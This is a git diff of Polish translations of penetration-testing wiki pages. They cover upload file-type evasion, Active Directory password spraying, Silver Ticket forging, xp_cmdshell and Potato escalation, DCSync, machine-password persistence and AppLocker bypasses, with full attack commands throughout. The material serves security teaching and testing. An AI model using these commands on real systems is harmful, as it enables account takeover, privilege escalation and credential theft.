post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Jak uniknąć wykrywania typu pliku poprzez wgranie poprawnego pliku JSON, nawet jeśli nie jest dozwolone, podszywając się pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Dopóki magic bytes `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście) -- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała to za pdf (zobacz przykład w poście) -- **`file` binary**: Może czytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie móc sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wtedy narzędzie uzna plik za PDF +- **`mmmagic` library**: Dopóki magiczne bajty `%PDF` znajdują się w pierwszych 1024 bajtach, jest to uznawane za ważne (przykład w artykule) +- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (przykład w artykule) +- **`file` binary**: Potrafi czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż to, aby nie mógł sparsować zawartości jako json, a następnie w środku JSON-a umieścić początkową część prawdziwego PDF, i wtedy uzna go za PDF -## Źródła +## Referencje - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index b123ff0a4..6789875ee 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Gdy znajdziesz kilka **prawidłowych nazw użytkowników**, możesz spróbować najbardziej **popularnych haseł** (pamiętaj o polityce haseł w środowisku) dla każdego z odkrytych użytkowników.\ -Domyślnie minimalna długość **hasła** to **7**. +Po znalezieniu kilku **valid usernames** możesz spróbować najczęściej używanych **common passwords** (pamiętaj o **password policy** środowiska) dla każdego z odkrytych użytkowników.\ +By **default** the **minimum** **password** **length** is **7**. -Listy popularnych nazw użytkowników mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Zwróć uwagę, że możesz **zablokować niektóre konta, jeśli spróbujesz kilku nieprawidłowych haseł** (domyślnie więcej niż 10). +Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10). -### Pobranie polityki haseł +### Get password policy -Jeśli masz poświadczenia użytkownika lub shell jako użytkownik domeny, możesz **pobrać politykę haseł za pomocą**: +Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,16 +31,16 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation z Linuxa (lub wszystkich) +### Eksploatacja z Linuxa (lub innych systemów) -- Używając **crackmapexec:** +- Korzystanie z **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Korzystanie z [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 @@ -51,12 +51,12 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- Użycie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA +- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- Za pomocą modułu `scanner/smb/smb_login` **Metasploit**: +- Za pomocą modułu `scanner/smb/smb_login` w **Metasploit**: ![](<../../images/image (745).png>) @@ -69,7 +69,7 @@ done ``` #### Z systemu Windows -- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z brute module: +- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Za pomocą [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny i pobrać politykę haseł z domeny oraz ograniczyć liczbę prób zgodnie z nią): +- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może generować użytkowników z domeny oraz pobiera politykę haseł z domeny i ogranicza liczbę prób zgodnie z nią): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,9 +85,9 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Identyfikacja i przejęcie kont "Password must change at next logon" (SAMR) +### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR) -Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wykrywaniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości poprzedniego. +Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wychwyceniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało przymusowo wygaszone i można je zmienić bez znajomości poprzedniego. Przebieg: - Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów: @@ -99,12 +99,12 @@ Przebieg: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray an empty password i kontynuuj przy hits, aby przechwycić konta, które muszą zmienić hasło przy następnym logon: +- Spryskaj pustym hasłem i kontynuuj przy trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): +- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec’s (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -115,25 +115,25 @@ netexec smb -u -p "$NEWPASS" --pass-pol ``` Uwagi operacyjne: - Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate `. -- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw do interaktywnego logowania. +- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw logowania interaktywnego. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i ograniczaniem uwzględniającym PSO (SpearSpray) +### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i throttlingiem uwzględniającym PSO (SpearSpray) -Kerberos pre-auth–based spraying zmniejsza hałas w porównaniu do prób bind przez SMB/NTLM/LDAP i lepiej pasuje do polityk lockout AD. SpearSpray łączy ukierunkowanie napędzane przez LDAP, silnik wzorców i świadomość polityk (polityka domeny + PSO + bufor badPwdCount), aby wykonywać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte principalów w Neo4j do wyznaczania ścieżek w BloodHound. +Kerberos pre-auth–based spraying zmniejsza szum w porównaniu do prób bind SMB/NTLM/LDAP i lepiej współgra z politykami blokowania AD. SpearSpray łączy ukierunkowanie oparte na LDAP, silnik wzorców i świadomość polityk (domain policy + PSOs + badPwdCount buffer), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte konta w Neo4j dla ścieżek BloodHound. -Kluczowe idee: -- Odkrywanie użytkowników przez LDAP z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP. -- Polityka blokady domeny + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (próg) i unikać blokowania użytkowników. -- Weryfikacja Kerberos pre-auth za pomocą szybkich gssapi bindings (generuje 4768/4771 na DC zamiast 4625). -- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona i wartości czasowe wyprowadzone z pwdLastSet każdego użytkownika. -- Kontrola przepustowości przy użyciu wątków, jittera i maksymalnej liczby żądań na sekundę. +Key ideas: +- LDAP user discovery z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP. +- Domain lockout policy + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (threshold) i unikać blokowania użytkowników. +- Walidacja Kerberos pre-auth przy użyciu szybkich gssapi bindings (generuje 4768/4771 na DCs zamiast 4625). +- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości temporalne wyprowadzone z pwdLastSet każdego użytkownika. +- Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę. - Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound. -Podstawowe użycie i odkrywanie: +Basic usage and discovery: ```bash # List available pattern variables spearspray -l @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Celowanie i kontrola wzorców: +Targetowanie i kontrola wzorców: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Stealth i kontrole bezpieczeństwa: +Kontrole stealth i bezpieczeństwa: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -161,7 +161,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Leave N attempts in reserve before lockout (default threshold: 2) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 ``` -Wzbogacanie Neo4j/BloodHound: +Neo4j/BloodHound wzbogacanie: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` @@ -176,13 +176,13 @@ Przegląd systemu wzorców (patterns.txt): ``` Dostępne zmienne obejmują: - {name}, {samaccountname} -- Elementy czasowe z pwdLastSet (lub whenCreated) każdego użytkownika: {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Pomocniki kompozycji i token organizacji: {separator}, {suffix}, {extra} +- Temporal z pwdLastSet każdego użytkownika (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Elementy pomocnicze kompozycji i token organizacji: {separator}, {suffix}, {extra} Uwagi operacyjne: -- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką. -- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacyjnym; użyj progów i odpowiednich interwałów czasowych, aby zachować bezpieczeństwo. -- Próby Kerberos pre-auth pojawiają się jako 4768/4771 w telemetrii DC; użyj jitter i rate-limiting, aby się wtopić. +- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z politykami. +- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i odpowiedniego rozłożenia w czasie, aby pozostać bezpiecznym. +- Próby pre-auth Kerberos pojawiają się jako 4768/4771 w telemetryce DC; używaj jitter i rate-limiting, aby się wtopić. > Wskazówka: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. @@ -192,11 +192,11 @@ Istnieje wiele narzędzi do p**assword spraying outlook**. - Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Za pomocą [Ruler](https://github.com/sensepost/ruler) (reliable!) +- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodny!) - Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray. +Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / krótkiej listy passwords do sprayowania. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index ed788670c..d558377b2 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,20 +6,21 @@ ## Silver ticket -Atak Silver Ticket polega na wykorzystaniu service tickets w środowiskach Active Directory (AD). Metoda ta opiera się na zdobyciu NTLM hash konta usługi (np. konta komputera), aby sfałszować Ticket Granting Service (TGS) ticket. Dzięki takiemu sfałszowanemu ticketowi atakujący może uzyskać dostęp do konkretnych usług w sieci, podszywając się pod dowolnego użytkownika, zwykle dążąc do uprawnień administracyjnych. Należy podkreślić, że użycie AES keys do fałszowania biletów jest bezpieczniejsze i trudniejsze do wykrycia. +Atak **Silver Ticket** polega na wykorzystaniu service tickets w środowiskach Active Directory (AD). Ta metoda opiera się na **acquiring the NTLM hash of a service account**, takiego jak computer account, aby sfałszować Ticket Granting Service (TGS) ticket. Dzięki sfałszowanemu ticketowi atakujący może uzyskać dostęp do konkretnych usług w sieci, **impersonating any user**, zwykle dążąc do uprawnień administratorskich. Należy zaznaczyć, że użycie AES keys do fałszowania ticketów jest bezpieczniejsze i trudniejsze do wykrycia. > [!WARNING] -> Silver Tickets są mniej wykrywalne niż Golden Tickets, ponieważ wymagają tylko **hash of the service account**, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, na którą są skierowane. Ponadto, wystarczy jedynie skraść hasło użytkownika. Ponadto, jeśli przejmiesz **account's password with a SPN** możesz użyć tego hasła do stworzenia Silver Ticket podszywającego się pod dowolnego użytkownika dla tej usługi. +> Silver Tickets są mniej wykrywalne niż Golden Tickets, ponieważ wymagają tylko **hash of the service account**, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, którą atakują. Ponadto wystarczy skraść hasło użytkownika. +> Jeśli przejmiesz **account's password with a SPN**, możesz użyć tego hasła do stworzenia Silver Ticket, impersonating any user dla tej usługi. Do tworzenia ticketów stosuje się różne narzędzia w zależności od systemu operacyjnego: -### On Linux +### Na Linuxie ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### W systemie Windows +### Na Windows ```bash # Using Rubeus ## /ldap option is used to get domain data automatically @@ -36,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Usługa CIFS jest wyróżniana jako częsty cel uzyskania dostępu do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, również mogą być wykorzystane do uruchamiania zadań i zapytań WMI. +Usługa CIFS jest wymieniana jako częsty cel umożliwiający dostęp do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, mogą być także wykorzystane do zadań i zapytań WMI. ### Przykład: MSSQL service (MSSQLSvc) + Potato to SYSTEM -Jeśli masz NTLM hash (lub AES key) konta usługi SQL (np. sqlsvc), możesz sfałszować TGS dla MSSQL SPN i podszyć się pod dowolnego użytkownika względem usługi SQL. Następnie włącz xp_cmdshell, aby wykonywać polecenia jako konto usługi SQL. Jeśli ten token ma SeImpersonatePrivilege, użyj Potato, aby uzyskać eskalację do SYSTEM. +Jeśli posiadasz NTLM hash (lub AES key) konta usługi SQL (np. sqlsvc), możesz sfałszować TGS dla MSSQL SPN i podszyć się pod dowolnego użytkownika wobec usługi SQL. Stamtąd włącz xp_cmdshell, aby wykonywać polecenia jako konto usługi SQL. Jeśli ten token ma SeImpersonatePrivilege, połącz to z Potato, aby eskalować do SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -51,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Jeśli otrzymany kontekst ma SeImpersonatePrivilege (często prawda dla kont usługowych), użyj wariantu Potato, aby uzyskać SYSTEM: +- Jeśli uzyskany kontekst posiada SeImpersonatePrivilege (często prawda dla kont usługowych), użyj wariantu Potato, aby uzyskać SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -Więcej szczegółów dotyczących wykorzystywania MSSQL i włączania xp_cmdshell: +Więcej szczegółów dotyczących nadużywania MSSQL i włączania xp_cmdshell: {{#ref}} abusing-ad-mssql.md @@ -72,14 +73,14 @@ Przegląd technik Potato: ## Dostępne usługi -| Service Type | Service Silver Tickets | +| Typ usługi | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

W zależności od systemu również:

WSMAN

RPCSS

| +| PowerShell Remoting |

HOST

HTTP

W zależności od systemu operacyjnego także:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

W niektórych przypadkach możesz po prostu poprosić o: WINRM

| -| Scheduled Tasks | HOST | +| Zaplanowane zadania | HOST | | Windows File Share, also psexec | CIFS | -| LDAP operations, included DCSync | LDAP | +| Operacje LDAP, w tym DCSync | LDAP | | Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | @@ -87,29 +88,30 @@ Używając **Rubeus** możesz **zażądać wszystkich** tych ticketów używają - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets — ID zdarzeń +### Identyfikatory zdarzeń Silver tickets -- 4624: Account Logon -- 4634: Account Logoff -- 4672: Admin Logon +- 4624: Logowanie konta +- 4634: Wylogowanie konta +- 4672: Logowanie administratora -## Persistence +## Utrzymywanie dostępu -Aby zapobiec rotacji haseł maszyn co 30 dni ustaw `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` lub możesz ustawić `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na wartość większą niż 30 dni, aby wskazać okres rotacji, po którym hasło maszyny powinno zostać zmienione. +Aby zapobiec automatycznej rotacji hasła maszyn co 30 dni ustaw `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` lub możesz ustawić `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na wartość większą niż 30 dni, aby wskazać okres rotacji, po którym hasło maszyny powinno być zmienione. -## Abusing Service tickets +## Nadużywanie Service tickets W poniższych przykładach załóżmy, że ticket został pozyskany podszywając się pod konto administratora. ### CIFS -Dzięki temu ticketowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` przez **SMB** (jeśli są udostępnione) i skopiować pliki do części zdalnego systemu plików wykonując coś w stylu: +Dzięki temu ticketowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` przez **SMB** (jeśli są udostępnione) i skopiować pliki na część zdalnego systemu plików, robiąc coś takiego: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Będziesz także w stanie uzyskać shell na hoście lub wykonać dowolne polecenia za pomocą **psexec**: +Będziesz także w stanie uzyskać shell na hoście lub wykonywać dowolne polecenia używając **psexec**: + {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -117,7 +119,7 @@ Będziesz także w stanie uzyskać shell na hoście lub wykonać dowolne polecen ### HOST -Dzięki temu uprawnieniu możesz tworzyć zadania zaplanowane na zdalnych komputerach i wykonywać dowolne polecenia: +Dzięki temu uprawnieniu możesz tworzyć zadania zaplanowane na komputerach zdalnych i wykonywać dowolne polecenia: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -131,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Dzięki tym ticketom możesz **uruchomić WMI w systemie ofiary**: +Dzięki tym tickets możesz **wykonywać WMI w systemie ofiary**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -150,11 +152,11 @@ Znajdź **więcej informacji o wmiexec** na następującej stronie: ### HOST + WSMAN (WINRM) -Mając dostęp do komputera przez winrm możesz **uzyskać do niego dostęp** i nawet uruchomić PowerShell: +Mając dostęp do winrm na komputerze, możesz **połączyć się z nim** i nawet uzyskać PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Sprawdź następującą stronę, aby poznać **więcej sposobów łączenia się ze zdalnym hostem przy użyciu winrm**: +Sprawdź następującą stronę, aby poznać **więcej sposobów łączenia się z zdalnym hostem przy użyciu winrm**: {{#ref}} @@ -162,11 +164,11 @@ Sprawdź następującą stronę, aby poznać **więcej sposobów łączenia się {{#endref}} > [!WARNING] -> Pamiętaj, że **winrm musi być aktywny i nasłuchiwać** na zdalnym komputerze, aby uzyskać do niego dostęp. +> Należy pamiętać, że **winrm musi być aktywny i nasłuchiwać** na zdalnym komputerze, aby uzyskać do niego dostęp. ### LDAP -Dzięki temu uprawnieniu możesz zrzucić bazę danych DC przy użyciu **DCSync**: +Dzięki temu uprawnieniu możesz zrzucić bazę danych DC używając **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index c75e60b6f..f9ce5f5d9 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Kontrole zabezpieczeń Windows +# Kontrole bezpieczeństwa Windows {{#include ../../banners/hacktricks-training.md}} ## Polityka AppLocker -Lista dozwolonych aplikacji (application whitelist) to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym malware i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji. +Lista dopuszczonych aplikacji to spis zatwierdzonego oprogramowania lub plików wykonywalnych, które mogą znajdować się i być uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym malware i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) jest rozwiązaniem Microsoftu dla **aplikacyjnego whitelistingu** i daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki użytkownicy mogą uruchamiać**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, Windows installer files, DLLs, packaged apps oraz packed app installers.\ -Często organizacje **blokują cmd.exe i PowerShell.exe** oraz dostęp zapisu do niektórych katalogów, **ale wszystko to można obejść**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **rozwiązanie do tworzenia listy dopuszczonych aplikacji** i daje administratorom systemu kontrolę nad **które aplikacje i pliki użytkownicy mogą uruchamiać**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLLs, packaged apps, and packed app installers.\ +Organizacje często **blokują cmd.exe i PowerShell.exe** oraz zapisywanie do niektórych katalogów, **ale wszystko to można obejść**. ### Sprawdź -Sprawdź, które pliki/rozszerzenia są blacklisted/whitelisted: +Sprawdź, które pliki/rozszerzenia są na czarnej liście/na białej liście: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, umożliwiając przeglądanie bieżącego zestawu reguł egzekwowanych w systemie: +Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, umożliwiając przeglądanie aktualnego zestawu reguł egzekwowanych w systemie: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- Useful **Writable folders** to bypass AppLocker Policy: Jeśli AppLocker pozwala na uruchamianie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **writable folders**, których możesz użyć, aby to **bypass this**. +- Przydatne **Writable folders** do bypass AppLocker Policy: Jeśli AppLocker pozwala na uruchamianie czegokolwiek wewnątrz `C:\Windows\System32` lub `C:\Windows`, istnieją **writable folders**, których możesz użyć, aby to **bypass this**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Powszechnie **ufane** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker. -- **Słabo napisane reguły również można obejść** +- Powszechnie **zaufane** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker. +- **Źle napisane reguły można również obejść** - Na przykład, **``**, możesz utworzyć **folder o nazwie `allowed`** w dowolnym miejscu i będzie on dozwolony. -- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` czy `PowerShell_ISE.exe`. -- **Egzekwowanie DLL jest bardzo rzadko włączane** z powodu dodatkowego obciążenia, jakie może to wywołać na systemie, oraz liczby testów wymaganych, aby upewnić się, że nic nie przestanie działać. Dlatego użycie **DLLs jako backdoors pomoże obejść AppLocker**. -- Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) do **wykonywania kodu PowerShell** w dowolnym procesie i obejścia AppLocker. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokalizacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`. +- **Wymuszanie DLL jest bardzo rzadko włączane** z powodu dodatkowego obciążenia, jakie może to wprowadzić do systemu, oraz ilości testów wymaganych, aby upewnić się, że nic nie przestanie działać. Dlatego używanie **DLL jako backdoorów pomoże obejść AppLocker**. +- Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) aby **wykonywać kod Powershell** w dowolnym procesie i obejść AppLocker. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Przechowywanie 